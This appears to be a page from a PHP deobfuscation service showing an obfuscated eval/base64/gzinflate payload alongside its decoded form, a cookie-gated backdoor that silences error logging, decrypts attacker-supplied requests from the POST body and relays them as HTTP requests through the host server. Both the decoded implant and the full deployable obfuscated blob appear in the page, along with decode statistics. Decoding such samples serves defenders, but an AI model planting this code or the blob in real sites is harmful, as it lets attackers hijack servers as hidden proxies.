Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(str_rot13(gzinflate(str_rot13(base64_decode('LUvHEuu4Efwa165izKF8b85EzBcXZs6ZX..
Decoded Output download
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@error_reporting(0);
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
foreach ($_COOKIE as $item) {
if ($item != "dtnbgvcgbwvcgdsfcg")
exit();
}
$data = file_get_contents('php://input');
$data = explode("=", $data, 2);
$b64_decode_data = base64_decode(urldecode($data[1]));
$send_data = unserialize(decrypt($b64_decode_data));
$result = send_data1($send_data);
if (!$result) {
$result = send_data2($send_data);
}
echo $result;
function decrypt($data)
{
$out_data = "";
$key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$key_len = strlen($key);
for ($i = 0; $i < strlen($key); $i++) {
$key[$i] = chr(ord($key[$i]) ^ ($key_len % 255));
}
for ($i = 0; $i < strlen($data);) {
for ($j = 0; $j < strlen($key) && $i < strlen($data); $j++, $i++) {
$out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
}
}
return $out_data;
}
function send_data1($data)
{
$is_gzipped = FALSE;
$res_status = "";
$res_headers = Array();
$head = "";
foreach ($data["headers"] as $key => $value) {
$head .= $key . ": " . $value . "
";
if ($key == "Accept-Encoding")
{
if (strpos($value, "gzip") !== FALSE)
{
$is_gzipped = TRUE;
}
}
}
$context = Array();
$context['http']["method"] = $data["method"];
$context['http']["header"] = $head;
$context['http']["timeout"] = $data["timeout"];
if ($data["body"])
{
$context['http']["content"] = $data["body"];
}
$ctx = stream_context_create($context);
$result = @file_get_contents($data["url"], FALSE, $ctx);
if ($is_gzipped)
{
$tmp_result = gzdecode($result);
if ($tmp_result)
{
$result = $tmp_result;
}
}
foreach($http_response_header as $header)
{
if(false !== strpos($header, ':'))
{
list($h, $value) = explode(':', $header, 2);
$res_headers[$h][] = trim($value);
}
else
{
$res_status = $header;
}
}
$res = Array();
$res["status"] = $res_status;
$res["body"] = $result;
$res["headers"] = $res_headers;
return base64_encode(serialize($res));
}
function send_data2($data)
{
// use sockets
}
Did this file decode correctly?
Original Code
<?php
eval(str_rot13(gzinflate(str_rot13(base64_decode('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')))));
?>
Function Calls
strrev | 3 |
gzinflate | 11 |
str_rot13 | 11 |
gzuncompress | 4 |
rawurldecode | 1 |
base64_decode | 18 |
Stats
MD5 | a288b36b8f39c1f95813152c136dfe59 |
Eval Count | 16 |
Decode Time | 109 ms |